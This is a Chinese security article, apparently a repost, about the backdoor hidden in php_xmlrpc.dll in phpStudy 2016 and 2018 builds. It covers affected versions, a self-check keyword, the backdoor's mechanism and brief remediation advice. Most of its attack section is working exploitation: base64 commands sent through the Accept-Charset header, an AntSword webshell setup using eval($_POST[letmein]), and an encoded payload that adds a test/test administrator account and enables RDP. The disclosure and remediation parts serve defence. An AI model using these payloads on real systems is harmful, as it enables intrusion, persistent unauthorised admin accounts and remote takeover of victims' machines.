phpStudy 隐藏后门

admin 2022年6月14日17:03:16安全文章评论13 views1608字阅读5分21秒阅读模式

1. Phpstudy

Phpstudy是一款PHP调试环境的程序集成包,集成了最新的ApachePHPphpMyAdminZendOptimizer等多款软件一次性安装,无需配置,即装即用。由于其免费且方便的特性,在国内有着近百万的PHP语言学习者、开发者用户。

2. 受影响版本及组件

phpStudy_2016.11.03

phpphp-5.2.17extphp_xmlrpc.dll

phpphp-5.4.45extphp_xmlrpc.dll

 

phpStudy_2018.02.11

PHPTutorialphpphp-5.2.17extphp_xmlrpc.dll

PHPTutorialphpphp-5.4.45extphp_xmlrpc.dll

3. 环境搭建

1. Phpstudy 下载 http://www.downza.cn/soft/275049.html

2. 安装phpstudy,并更换至存在问题版本。

phpStudy 隐藏后门

4. 自查方法

根据安装目录查找到可能存在问题的 php_xmlrpc.dll 组件,查找文件中是否包含关键字 @eval(%s('%s')) 。包含该关键字则存在后门漏洞。

phpStudy 隐藏后门

5. 漏洞原理

后门类型C&C、命令执行

phpStudy 隐藏后门

@是PHP提供的错误信息屏蔽专用符号。

Eval()可执行php代码,中间%s格式符为字符串传参。

phpStudy 隐藏后门

6 验证方法

6.1 使用burpsuit

GET /index.php HTTP/1.1
Host: ip.ip.ip.ip
..
Accept-Encoding: gzip,deflate
Accept-Charset:cGhwaW5mbygpOw==
//此处放置执行命令的base64编码:phpinfo();
.

phpStudy 隐藏后门

6.2 使用python脚本

6.2.1批量处理poc

phpStudy 隐藏后门

脚本见附录8.1

6.2.2 ROC脚本

phpStudy 隐藏后门

7. 漏洞提权

7.1 使用工具:中国蚁剑

下载地址:https://github.com/AntSwordProject/AntSword-Loader

1. 打开中国蚁剑,右键添加数据

2. 配置参数

phpStudy 隐藏后门

ZXZhbCgkX1BPU1RbbGV0bWVpbl0pOwo=eval($_POST[letmein]);base64编码。Letmein为连接密码。

phpStudy 隐藏后门

3. 测试连接

phpStudy 隐藏后门

7.2 使用burpsuit 创建用户

GET /index.php HTTP/1.1
Host: ip.ip.ip.ip
..
Accept-Encoding: gzip,deflate
Accept-Charset:  c3lzdGVtICgnbmV0IHVzZXIgdGVzdCB0ZXN0IC9hZGQnKTsKc3lzdGVtICgnbmV0IGxvY2FsZ3JvdXAgYWRtaW5pc3RyYXRvcnMgdGVzdCAvYWRkJyk7CnN5c3RlbSAoJ1JFRyBBREQgSEtMTVxTWVNURU1cQ3VycmVudENvbnRyb2xTZXRcQ29udHJvbFxUZXJtaW5hbCIgIlNlcnZlciAvdiBmRGVueVRTQ29ubmVjdGlvbnMgL3QgUkVHX0RXT1JEIC9kIDAwMDAwMDAwIC9mJyk7
//创建test/test用户;添加管理员权限;开启3389远程桌面
//一条龙服务
//可使用rdp客户端连接靶机test/test用户

 

….

8. 整改建议

1. 删除问题版本phpstudy

植入后门版本分别为phpStudy_2016.11.03、phpStudy_2018.02.11,如果是通过其它非官方下载站下载的该版本,请自行使用以上方法检查并删除其中的存在问题的版本。

2. 在官方网站下载phpstudy

目前PhpStudy官方已发布最新版本PhpStudy v8.0,请访问官方链接更新到最新软件:https://www.xp.cn/



原文始发于微信公众号(CTS纵横安全实验室):phpStudy 隐藏后门

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月14日17:03:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  phpStudy 隐藏后门 http://cn-sec.com/archives/873578.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: